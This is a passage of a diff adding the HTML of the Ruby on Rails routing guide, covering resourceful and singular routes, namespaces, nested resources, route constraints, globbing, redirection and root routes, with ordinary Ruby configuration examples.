+	<li><tt>new_photo_path</tt> returns <tt>/photos/new</tt></li>
+	<li><tt>edit_photo_path(id)</tt> returns <tt>/photos/:id/edit</tt> (for instance, <tt>edit_photo_path(10)</tt> returns <tt>/photos/10/edit</tt>)</li>
+	<li><tt>photo_path(id)</tt> returns <tt>/photos/:id</tt> (for instance, <tt>photo_path(10)</tt> returns <tt>/photos/10</tt>)</li>
+</ul>
+<p>Each of these helpers has a corresponding <tt>_url</tt> helper (such as <tt>photos_url</tt>) which returns the same path prefixed with the current host, port and path prefix.</p>
+<div class='note'><p>Because the router uses the <span class="caps">HTTP</span> verb and <span class="caps">URL</span> to match inbound requests, four URLs map to seven different actions.</p></div>
+<h4 id="defining-multiple-resources-at-the-same-time">2.4 Defining Multiple Resources at the Same Time</h4>
+<p>If you need to create routes for more than one resource, you can save a bit of typing by defining them all with a single call to <tt>resources</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+resources :photos, :books, :videos
+</pre>
+</div>
+</notextile>
+
+<p>This works exactly the same as</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+resources :photos
+resources :books
+resources :videos
+</pre>
+</div>
+</notextile>
+
+<h4 id="singular-resources">2.5 Singular Resources</h4>
+<p>Sometimes, you have a resource that clients always look up without referencing an ID. For example, you would like <tt>/profile</tt> to always show the profile of the currently logged in user. In this case, you can use a singular resource to map <tt>/profile</tt> (rather than <tt>/profile/:id</tt>) to the <tt>show</tt> action.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+match &quot;profile&quot; =&gt; &quot;users#show&quot;
+</pre>
+</div>
+</notextile>
+
+<p>This resourceful route</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+resource :geocoder
+</pre>
+</div>
+</notextile>
+
+<p>creates six different routes in your application, all mapping to the <tt>Geocoders</tt> controller:</p>
+<table>
+	<tr>
+		<th>Verb    </th>
+		<th>Path         </th>
+		<th>action </th>
+		<th>used for</th>
+	</tr>
+	<tr>
+		<td><span class="caps">GET</span>        </td>
+		<td>/geocoder/new  </td>
+		<td>new      </td>
+		<td>return an <span class="caps">HTML</span> form for creating the geocoder</td>
+	</tr>
+	<tr>
+		<td><span class="caps">POST</span>       </td>
+		<td>/geocoder      </td>
+		<td>create   </td>
+		<td>create the new geocoder</td>
+	</tr>
+	<tr>
+		<td><span class="caps">GET</span>        </td>
+		<td>/geocoder      </td>
+		<td>show     </td>
+		<td>display the one and only geocoder resource</td>
+	</tr>
+	<tr>
+		<td><span class="caps">GET</span>        </td>
+		<td>/geocoder/edit </td>
+		<td>edit     </td>
+		<td>return an <span class="caps">HTML</span> form for editing the geocoder</td>
+	</tr>
+	<tr>
+		<td><span class="caps">PUT</span>        </td>
+		<td>/geocoder      </td>
+		<td>update   </td>
+		<td>update the one and only geocoder resource</td>
+	</tr>
+	<tr>
+		<td><span class="caps">DELETE</span>     </td>
+		<td>/geocoder      </td>
+		<td>destroy  </td>
+		<td>delete the geocoder resource</td>
+	</tr>
+</table>
+<div class='note'><p>Because you might want to use the same controller for a singular route (<tt>/account</tt>) and a plural route (<tt>/accounts/45</tt>), singular resources map to plural controllers.</p></div>
+<p>A singular resourceful route generates these helpers:</p>
+<ul>
+	<li><tt>new_geocoder_path</tt> returns <tt>/geocoder/new</tt></li>
+	<li><tt>edit_geocoder_path</tt> returns <tt>/geocoder/edit</tt></li>
+	<li><tt>geocoder_path</tt> returns <tt>/geocoder</tt></li>
+</ul>
+<p>As with plural resources, the same helpers ending in <tt>_url</tt> will also include the host, port and path prefix.</p>
+<h4 id="controller-namespaces-and-routing">2.6 Controller Namespaces and Routing</h4>
+<p>You may wish to organize groups of controllers under a namespace. Most commonly, you might group a number of administrative controllers under an <tt>Admin::</tt> namespace. You would place these controllers under the <tt>app/controllers/admin</tt> directory, and you can group them together in your router:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+namespace &quot;admin&quot; do
+  resources :posts, :comments
+end
+</pre>
+</div>
+</notextile>
+
+<p>This will create a number of routes for each of the <tt>posts</tt> and <tt>comments</tt> controller. For <tt>Admin::PostsController</tt>, Rails will create:</p>
+<table>
+	<tr>
+		<th>Verb </th>
+		<th>Path               </th>
+		<th>action </th>
+		<th>helper                  </th>
+	</tr>
+	<tr>
+		<td><span class="caps">GET</span>     </td>
+		<td>/admin/posts        </td>
+		<td>index    </td>
+		<td> admin_posts_path         </td>
+	</tr>
+	<tr>
+		<td><span class="caps">GET</span>     </td>
+		<td>/admin/posts/new    </td>
+		<td>new      </td>
+		<td> new_admin_posts_path     </td>
+	</tr>
+	<tr>
+		<td><span class="caps">POST</span>    </td>
+		<td>/admin/posts        </td>
+		<td>create   </td>
+		<td> admin_posts_path         </td>
+	</tr>
+	<tr>
+		<td><span class="caps">GET</span>     </td>
+		<td>/admin/posts/1      </td>
+		<td>show     </td>
+		<td> admin_post_path(id)      </td>
+	</tr>
+	<tr>
+		<td><span class="caps">GET</span>     </td>
+		<td>/admin/posts/1/edit </td>
+		<td>edit     </td>
+		<td> edit_admin_post_path(id) </td>
+	</tr>
+	<tr>
+		<td><span class="caps">PUT</span>     </td>
+		<td>/admin/posts/1      </td>
+		<td>update   </td>
+		<td> admin_post_path(id)      </td>
+	</tr>
+	<tr>
+		<td><span class="caps">DELETE</span>  </td>
+		<td>/admin/posts/1      </td>
+		<td>destroy  </td>
+		<td> admin_post_path(id)      </td>
+	</tr>
+</table>
+<p>If you want to route <tt>/posts</tt> (without the prefix <tt>/admin</tt>) to <tt>Admin::PostsController</tt>, you could use</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+scope :module =&gt; &quot;admin&quot; do
+  resources :posts, :comments
+end
+</pre>
+</div>
+</notextile>
+
+<p>or, for a single case</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+resources :posts, :module =&gt; &quot;admin&quot;
+</pre>
+</div>
+</notextile>
+
+<p>If you want to route <tt>/admin/posts</tt> to <tt>PostsController</tt> (without the <tt>Admin::</tt> module prefix), you could use</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+scope &quot;/admin&quot; do
+  resources :posts, :comments
+end
+</pre>
+</div>
+</notextile>
+
+<p>or, for a single case</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+resources :posts, :path =&gt; &quot;/admin&quot;
+</pre>
+</div>
+</notextile>
+
+<p>In each of these cases, the named routes remain the same as if you did not use <tt>scope</tt>. In the last case, the following paths map to <tt>PostsController</tt>:</p>
+<table>
+	<tr>
+		<th>Verb </th>
+		<th>Path               </th>
+		<th>action </th>
+		<th>helper            </th>
+	</tr>
+	<tr>
+		<td><span class="caps">GET</span>     </td>
+		<td>/admin/posts        </td>
+		<td>index    </td>
+		<td> posts_path         </td>
+	</tr>
+	<tr>
+		<td><span class="caps">GET</span>     </td>
+		<td>/admin/posts/new    </td>
+		<td>new      </td>
+		<td> posts_path         </td>
+	</tr>
+	<tr>
+		<td><span class="caps">POST</span>    </td>
+		<td>/admin/posts        </td>
+		<td>create   </td>
+		<td> posts_path         </td>
+	</tr>
+	<tr>
+		<td><span class="caps">GET</span>     </td>
+		<td>/admin/posts/1      </td>
+		<td>show     </td>
+		<td> post_path(id)      </td>
+	</tr>
+	<tr>
+		<td><span class="caps">GET</span>     </td>
+		<td>/admin/posts/1/edit </td>
+		<td>edit     </td>
+		<td> edit_post_path(id) </td>
+	</tr>
+	<tr>
+		<td><span class="caps">PUT</span>     </td>
+		<td>/admin/posts/1      </td>
+		<td>update   </td>
+		<td> post_path(id)      </td>
+	</tr>
+	<tr>
+		<td><span class="caps">DELETE</span>  </td>
+		<td>/admin/posts/1      </td>
+		<td>destroy  </td>
+		<td> post_path(id)      </td>
+	</tr>
+</table>
+<h4 id="nested-resources">2.7 Nested Resources</h4>
+<p>It&#8217;s common to have resources that are logically children of other resources. For example, suppose your application includes these models:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Magazine &lt; ActiveRecord::Base
+  has_many :ads
+end
+
+class Ad &lt; ActiveRecord::Base
+  belongs_to :magazine
+end
+</pre>
+</div>
+</notextile>
+
+<p>Nested routes allow you to capture this relationship in your routing. In this case, you could include this route declaration:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+resources :magazines do
+  resources :ads
+end
+</pre>
+</div>
+</notextile>
+
+<p>In addition to the routes for magazines, this declaration will also route ads to an <tt>AdsController</tt>. The ad URLs require a magazine:</p>
+<table>
+	<tr>
+		<th>Verb </th>
+		<th>Path                   </th>
+		<th>action </th>
+		<th>used for</th>
+	</tr>
+	<tr>
+		<td><span class="caps">GET</span>    </td>
+		<td>/magazines/1/ads         </td>
+		<td>index    </td>
+		<td>display a list of all ads for a specific magazine</td>
+	</tr>
+	<tr>
+		<td><span class="caps">GET</span>    </td>
+		<td>/magazines/1/ads/new     </td>
+		<td>new      </td>
+		<td>return an <span class="caps">HTML</span> form for creating a new ad belonging to a specific magazine</td>
+	</tr>
+	<tr>
+		<td><span class="caps">POST</span>   </td>
+		<td>/magazines/1/ads         </td>
+		<td>create   </td>
+		<td>create a new ad belonging to a specific magazine</td>
+	</tr>
+	<tr>
+		<td><span class="caps">GET</span>    </td>
+		<td>/magazines/1/ads/1       </td>
+		<td>show     </td>
+		<td>display a specific ad belonging to a specific magazine</td>
+	</tr>
+	<tr>
+		<td><span class="caps">GET</span>    </td>
+		<td>/magazines/1/ads/1/edit  </td>
+		<td>edit     </td>
+		<td>return an <span class="caps">HTML</span> form for editing an ad belonging to a specific magazine</td>
+	</tr>
+	<tr>
+		<td><span class="caps">PUT</span>    </td>
+		<td>/magazines/1/ads/1       </td>
+		<td>update   </td>
+		<td>update a specific ad belonging to a specific magazine</td>
+	</tr>
+	<tr>
+		<td><span class="caps">DELETE</span> </td>
+		<td>/magazines/1/ads/1       </td>
+		<td>destroy  </td>
+		<td>delete a specific ad belonging to a specific magazine</td>
+	</tr>
+</table>
+<p>This will also create routing helpers such as <tt>magazine_ads_url</tt> and <tt>edit_magazine_ad_path</tt>. These helpers take an instance of Magazine as the first parameter (<tt>magazine_ads_url(@magazine)</tt>).</p>
+<h5 id="limits-to-nesting">2.7.1 Limits to Nesting</h5>
+<p>You can nest resources within other nested resources if you like. For example:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+resources :publishers do
+  resources :magazines do
+    resources :photos
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>Deeply-nested resources quickly become cumbersome. In this case, for example, the application would recognize paths such as</p>
+<pre>
+/publishers/1/magazines/2/photos/3
+</pre>
+<p>The corresponding route helper would be <tt>publisher_magazine_photo_url</tt>, requiring you to specify objects at all three levels. Indeed, this situation is confusing enough that a popular <a href="http://weblog.jamisbuck.org/2007/2/5/nesting-resources">article</a> by Jamis Buck proposes a rule of thumb for good Rails design:</p>
+<div class='info'><p><em>Resources should never be nested more than 1 level deep.</em></p></div>
+<h4 id="creating-paths-and-urls-from-objects">2.8 Creating Paths and URLs From Objects</h4>
+<p>In addition to using the routing helpers, Rails can also create paths and URLs from an array of parameters. For example, suppose you have this set of routes:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+resources :magazines do
+  resources :ads
+end
+</pre>
+</div>
+</notextile>
+
+<p>When using <tt>magazine_ad_path</tt>, you can pass in instances of <tt>Magazine</tt> and <tt>Ad</tt> instead of the numeric IDs.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= link_to &quot;Ad details&quot;, magazine_ad_path(@magazine, @ad) %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>You can also use <tt>url_for</tt> with a set of objects, and Rails will automatically determine which route you want:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= link_to &quot;Ad details&quot;, url_for(@magazine, @ad) %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>In this case, Rails will see that <tt>@magazine</tt> is a <tt>Magazine</tt> and <tt>@ad</tt> is an <tt>Ad</tt> and will therefore use the <tt>magazine_ad_path</tt> helper. In helpers like <tt>link_to</tt>, you can specify just the object in place of the full <tt>url_for</tt> call:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= link_to &quot;Ad details&quot;, [@magazine, @ad] %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>If you wanted to link to just a magazine, you could leave out the <tt>Array</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= link_to &quot;Magazine details&quot;, @magazine %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>This allows you to treat instances of your models as URLs, and is a key advantage to using the resourceful style.</p>
+<h4 id="adding-more-restful-actions">2.9 Adding More RESTful Actions</h4>
+<p>You are not limited to the seven routes that RESTful routing creates by default. If you like, you may add additional routes that apply to the collection or individual members of the collection.</p>
+<h5 id="adding-member-routes">2.9.1 Adding Member Routes</h5>
+<p>To add a member route, just add a <tt>member</tt> block into the resource block:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+resources :photos do
+  member do
+    get 'preview'
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>This will recognize <tt>/photos/1/preview</tt> with <span class="caps">GET</span>, and route to the <tt>preview</tt> action of  <tt>PhotosController</tt>. It will also create the <tt>preview_photo_url</tt> and <tt>preview_photo_path</tt> helpers.</p>
+<p>Within the block of member routes, each route name specifies the <span class="caps">HTTP</span> verb that it will recognize. You can use <tt>get</tt>, <tt>put</tt>, <tt>post</tt>, or <tt>delete</tt> here. If you don&#8217;t have multiple <tt>member</tt> routes, you can also pass <tt>:on</tt> to a route, eliminating the block:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+resources :photos do
+  get 'preview', :on =&gt; :member
+end
+</pre>
+</div>
+</notextile>
+
+<h5 id="adding-collection-routes">2.9.2 Adding Collection Routes</h5>
+<p>To add a route to the collection:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+resources :photos do
+  collection do
+    get 'search'
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>This will enable Rails to recognize paths such as <tt>/photos/search</tt> with <span class="caps">GET</span>, and route to the <tt>search</tt> action of <tt>PhotosController</tt>. It will also create the <tt>search_photos_url</tt> and <tt>search_photos_path</tt> route helpers.</p>
+<p>Just as with member routes, you can pass <tt>:on</tt> to a route:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+resources :photos do
+  get 'search', :on =&gt; :collection
+end
+</pre>
+</div>
+</notextile>
+
+<h5 id="a-note-of-caution">2.9.3 A Note of Caution</h5>
+<p>If you find yourself adding many extra actions to a resourceful route, it&#8217;s time to stop and ask yourself whether you&#8217;re disguising the presence of another resource.</p>
+<h3 id="non-resourceful-routes">3 Non-Resourceful Routes</h3>
+<p>In addition to resource routing, Rails has powerful support for routing arbitrary URLs to actions. Here, you don&#8217;t get groups of routes automatically generated by resourceful routing. Instead, you set up each route within your application separately.</p>
+<p>While you should usually use resourceful routing, there are still many places where the simpler routing is more appropriate. There&#8217;s no need to try to shoehorn every last piece of your application into a resourceful framework if that&#8217;s not a good fit.</p>
+<p>In particular, simple routing makes it very easy to map legacy URLs to new Rails actions.</p>
+<h4 id="bound-parameters">3.1 Bound Parameters</h4>
+<p>When you set up a regular route, you supply a series of symbols that Rails maps to parts of an incoming <span class="caps">HTTP</span> request. Two of these symbols are special: <tt>:controller</tt> maps to the name of a controller in your application, and <tt>:action</tt> maps to the name of an action within that controller. For example, consider one of the default Rails routes:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+match ':controller(/:action(/:id))'
+</pre>
+</div>
+</notextile>
+
+<p>If an incoming request of <tt>/photos/show/1</tt> is processed by this route (because it hasn&#8217;t matched any previous route in the file), then the result will be to invoke the <tt>show</tt> action of the <tt>PhotosController</tt>, and to make the final parameter <tt>"1"</tt> available as <tt>params[:id]</tt>. This route will also route the incoming request of <tt>/photos</tt> to <tt>PhotosController#index</tt>, since <tt>:action</tt> and <tt>:id</tt> are optional parameters, denoted by parentheses.</p>
+<h4 id="dynamic-segments">3.2 Dynamic Segments</h4>
+<p>You can set up as many dynamic segments within a regular route as you like. Anything other than <tt>:controller</tt> or <tt>:action</tt> will be available to the action as part of <tt>params</tt>. If you set up this route:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+match ':controller/:action/:id/:user_id'
+</pre>
+</div>
+</notextile>
+
+<p>An incoming path of <tt>/photos/show/1/2</tt> will be dispatched to the <tt>show</tt> action of the <tt>PhotosController</tt>. <tt>params[:id]</tt> will be <tt>"1"</tt>, and <tt>params[:user_id]</tt> will be <tt>"2"</tt>.</p>
+<div class='note'><p>You can&#8217;t use <tt>namespace</tt> or <tt>:module</tt> with a <tt>:controller</tt> path segment. If you need to do this then use a constraint on :controller that matches the namespace you require. e.g:</p></div>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+match ':controller(/:action(/:id))', :controller =&gt; /admin\/[^\/]+/
+</pre>
+</div>
+</notextile>
+
+<h4 id="static-segments">3.3 Static Segments</h4>
+<p>You can specify static segments when creating a route:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+match ':controller/:action/:id/with_user/:user_id'
+</pre>
+</div>
+</notextile>
+
+<p>This route would respond to paths such as <tt>/photos/show/1/with_user/2</tt>. In this case, <tt>params</tt> would be <tt>{ :controller =&gt; &#8220;photos&#8221;, :action =&gt; &#8220;show&#8221;, :id =&gt; &#8220;1&#8221;, :user_id =&gt; &#8220;2&#8221; }</tt>.</p>
+<h4 id="the-query-string">3.4 The Query String</h4>
+<p>The <tt>params</tt> will also include any parameters from the query string. For example, with this route:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+match ':controller/:action/:id'
+</pre>
+</div>
+</notextile>
+
+<p>An incoming path of <tt>/photos/show/1?user_id=2</tt> will be dispatched to the <tt>show</tt> action of the <tt>Photos</tt> controller. <tt>params</tt> will be <tt>{ :controller =&gt; &#8220;photos&#8221;, :action =&gt; &#8220;show&#8221;, :id =&gt; &#8220;1&#8221;, :user_id =&gt; &#8220;2&#8221; }</tt>.</p>
+<h4 id="defining-defaults">3.5 Defining Defaults</h4>
+<p>You do not need to explicitly use the <tt>:controller</tt> and <tt>:action</tt> symbols within a route. You can supply them as defaults:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+match 'photos/:id' =&gt; 'photos#show'
+</pre>
+</div>
+</notextile>
+
+<p>With this route, Rails will match an incoming path of <tt>/photos/12</tt> to the <tt>show</tt> action of  <tt>PhotosController</tt>.</p>
+<p>You can also define other defaults in a route by supplying a hash for the <tt>:defaults</tt> option. This even applies to parameters that you do not specify as dynamic segments. For example:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+match 'photos/:id' =&gt; 'photos#show', :defaults =&gt; { :format =&gt; 'jpg' }
+</pre>
+</div>
+</notextile>
+
+<p>Rails would match <tt>photos/12</tt> to the <tt>show</tt> action of <tt>PhotosController</tt>, and set <tt>params[:format]</tt> to <tt>"jpg"</tt>.</p>
+<h4 id="naming-routes">3.6 Naming Routes</h4>
+<p>You can specify a name for any route using the <tt>:as</tt> option.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+match 'exit' =&gt; 'sessions#destroy', :as =&gt; :logout
+</pre>
+</div>
+</notextile>
+
+<p>This will create <tt>logout_path</tt> and <tt>logout_url</tt> as named helpers in your application. Calling <tt>logout_path</tt> will return <tt>/exit</tt></p>
+<h4 id="http-verb-constraints">3.7 <span class="caps">HTTP</span> Verb Constraints</h4>
+<p>You can use the <tt>:via</tt> option to constrain the request to one or more <span class="caps">HTTP</span> methods:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+match 'photos/show' =&gt; 'photos#show', :via =&gt; :get
+</pre>
+</div>
+</notextile>
+
+<p>There is a shorthand version of this as well:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+get 'photos/show'
+</pre>
+</div>
+</notextile>
+
+<p>You can also permit more than one verb to a single route:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+match 'photos/show' =&gt; 'photos#show', :via =&gt; [:get, :post]
+</pre>
+</div>
+</notextile>
+
+<h4 id="segment-constraints">3.8 Segment Constraints</h4>
+<p>You can use the <tt>:constraints</tt> option to enforce a format for a dynamic segment:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+match 'photos/:id' =&gt; 'photos#show', :constraints =&gt; { :id =&gt; /[A-Z]\d{5}/ }
+</pre>
+</div>
+</notextile>
+
+<p>This route would match paths such as <tt>/photos/A12345</tt>. You can more succinctly express the same route this way:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+match 'photos/:id' =&gt; 'photos#show', :id =&gt; /[A-Z]\d{5}/
+</pre>
+</div>
+</notextile>
+
+<p><tt>:constraints</tt> takes regular expression. However note that regexp anchors can&#8217;t be used within constraints. For example following route will not work:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+match '/:id' =&gt; 'posts#show', :constraints =&gt; {:id =&gt; /^\d/}
+</pre>
+</div>
+</notextile>
+
+<p>However, note that you don&#8217;t need to use anchors because all routes are anchored at the start.</p>
+<p>For example, the following routes would allow for <tt>posts</tt> with <tt>to_param</tt> values like <tt>1-hello-world</tt> that always begin with a number and <tt>users</tt> with <tt>to_param</tt> values like <tt>david</tt> that never begin with a number to share the root namespace:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+match '/:id' =&gt; 'posts#show', :constraints =&gt; { :id =&gt; /\d.+/ }
+match '/:username' =&gt; 'users#show'
+</pre>
+</div>
+</notextile>
+
+<h4 id="request-based-constraints">3.9 Request-Based Constraints</h4>
+<p>You can also constrain a route based on any method on the <a href="action_controller_overview.html#the-request-object">Request</a> object that returns a <tt>String</tt>.</p>
+<p>You specify a request-based constraint the same way that you specify a segment constraint:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+match &quot;photos&quot;, :constraints =&gt; {:subdomain =&gt; &quot;admin&quot;}
+</pre>
+</div>
+</notextile>
+
+<p>You can also specify constrains in a block form:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+namespace &quot;admin&quot; do
+  constraints :subdomain =&gt; &quot;admin&quot; do
+    resources :photos
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<h4 id="advanced-constraints">3.10 Advanced Constraints</h4>
+<p>If you have a more advanced constraint, you can provide an object that responds to <tt>matches?</tt> that Rails should use. Let&#8217;s say you wanted to route all users on a blacklist to the <tt>BlacklistController</tt>. You could do:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class BlacklistConstraint
+  def initialize
+    @ips = Blacklist.retrieve_ips
+  end
+
+  def matches?(request)
+    @ips.include?(request.remote_ip)
+  end
+end
+
+TwitterClone::Application.routes.draw do
+  match &quot;*path&quot; =&gt; &quot;blacklist#index&quot;,
+    :constraints =&gt; BlacklistConstraint.new
+end
+</pre>
+</div>
+</notextile>
+
+<h4 id="route-globbing">3.11 Route Globbing</h4>
+<p>Route globbing is a way to specify that a particular parameter should be matched to all the remaining parts of a route. For example</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+match 'photos/*other' =&gt; 'photos#unknown'
+</pre>
+</div>
+</notextile>
+
+<p>This route would match <tt>photos/12</tt> or <tt>/photos/long/path/to/12</tt>, setting <tt>params[:other]</tt> to <tt>"12"</tt> or <tt>"long/path/to/12"</tt>.</p>
+<p>Wildcard segments do not need to be last in a route. For example</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+match 'books/*section/:title' =&gt; 'books#show'
+</pre>
+</div>
+</notextile>
+
+<p>would match <tt>books/some/section/last-words-a-memoir</tt> with <tt>params[:section]</tt> equals <tt>"some/section"</tt>, and <tt>params[:title]</tt> equals <tt>"last-words-a-memoir"</tt>.</p>
+<p>Techincally a route can have even more than one wildard segment indeed, the matcher assigns segments to parameters in an intuitive way. For instance</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+match '*a/foo/*b' =&gt; 'test#index'
+</pre>
+</div>
+</notextile>
+
+<p>would match <tt>zoo/woo/foo/bar/baz</tt> with <tt>params[:a]</tt> equals <tt>"zoo/woo"</tt>, and <tt>params[:b]</tt> equals <tt>"bar/baz"</tt>.</p>
+<h4 id="redirection">3.12 Redirection</h4>
+<p>You can redirect any path to another path using the <tt>redirect</tt> helper in your router:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+match &quot;/stories&quot; =&gt; redirect(&quot;/posts&quot;)
+</pre>
+</div>
+</notextile>
+
+<p>You can also reuse dynamic segments from the match in the path to redirect to:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+match &quot;/stories/:name&quot; =&gt; redirect(&quot;/posts/%{name}&quot;)
+</pre>
+</div>
+</notextile>
+
+<p>You can also provide a block to redirect, which receives the params and (optionally) the request object:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+match &quot;/stories/:name&quot; =&gt; redirect {|params| &quot;/posts/#{params[:name].pluralize}&quot; }
+match &quot;/stories&quot; =&gt; redirect {|p, req| &quot;/posts/#{req.subdomain}&quot; }
+</pre>
+</div>
+</notextile>
+
+<p>In all of these cases, if you don&#8217;t provide the leading host (<tt>http://www.example.com</tt>), Rails will take those details from the current request.</p>
+<h4 id="routing-to-rack-applications">3.13 Routing to Rack Applications</h4>
+<p>Instead of a String, like <tt>"posts#index"</tt>, which corresponds to the <tt>index</tt> action in the <tt>PostsController</tt>, you can specify any <a href="rails_on_rack.html">Rack application</a> as the endpoint for a matcher.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+match &quot;/application.js&quot; =&gt; Sprockets
+</pre>
+</div>
+</notextile>
+
+<p>As long as <tt>Sprockets</tt> responds to <tt>call</tt> and returns a <tt>[status, headers, body]</tt>, the router won&#8217;t know the difference between the Rack application and an action.</p>
+<div class='note'><p>For the curious, <tt>"posts#index"</tt> actually expands out to <tt>PostsController.action(:index)</tt>, which returns a valid Rack application.</p></div>
+<h4 id="using-root">3.14 Using <tt>root</tt></h4>
+<p>You can specify what Rails should route <tt>"/"</tt> to with the <tt>root</tt> method:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+root :to =&gt; 'pages#main'
+</pre>
+</div>
+</notextile>
+
+<p>You should put the <tt>root</tt> route at the end of the file.</p>
+<h3 id="customizing-resourceful-routes">4 Customizing Resourceful Routes</h3>
+<p>While the default routes and helpers generated by <tt>resources :posts</tt> will usually serve you well, you may want to customize them in some way. Rails allows you to customize virtually any generic part of the resourceful helpers.</p>
+<h4 id="specifying-a-controller-to-use">4.1 Specifying a Controller to Use</h4>
+<p>The <tt>:controller</tt> option lets you explicitly specify a controller to use for the resource. For example:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+resources :photos, :controller =&gt; &quot;images&quot;
+</pre>
+</div>
+</notextile>
+
+<p>will recognize incoming paths beginning with <tt>/photos</tt> but route to the <tt>Images</tt> controller:</p>
+<table>
+	<tr>
+		<th>Verb </th>
+		<th>Path         </th>
+		<th>action </th>
+	</tr>
+	<tr>
+		<td><span class="caps">GET</span>     </td>
+		<td>/photos        </td>
+		<td>index    </td>
+	</tr>
+	<tr>
+		<td><span class="caps">GET</span>     </td>
+		<td>/photos/new    </td>
+		<td>new      </td>
+	</tr>
+	<tr>
+		<td><span class="caps">POST</span>    </td>
+		<td>/photos        </td>
+		<td>create   </td>
+	</tr>
+	<tr>
+		<td><span class="caps">GET</span>     </td>
+		<td>/photos/1      </td>
+		<td>show     </td>
+	</tr>
+	<tr>
+		<td><span class="caps">GET</span>     </td>
+		<td>/photos/1/edit </td>
+		<td>edit     </td>
+	</tr>
+	<tr>
+		<td><span class="caps">PUT</span>     </td>
+		<td>/photos/1      </td>
+		<td>update   </td>
+	</tr>
+	<tr>
+		<td><span class="caps">DELETE</span>  </td>
+		<td>/photos/1      </td>
+		<td>destroy  </td>
+	</tr>
+</table>
+<div class='note'><p>Use <tt>photos_path</tt>, <tt>new_photos_path</tt>, etc. to generate paths for this resource.</p></div>
+<h4 id="specifying-constraints">4.2 Specifying Constraints</h4>
+<p>You can use the <tt>:constraints</tt> option to specify a required format on the implicit <tt>id</tt>. For example:</p>
+<notextile>
+<div class="code_container">
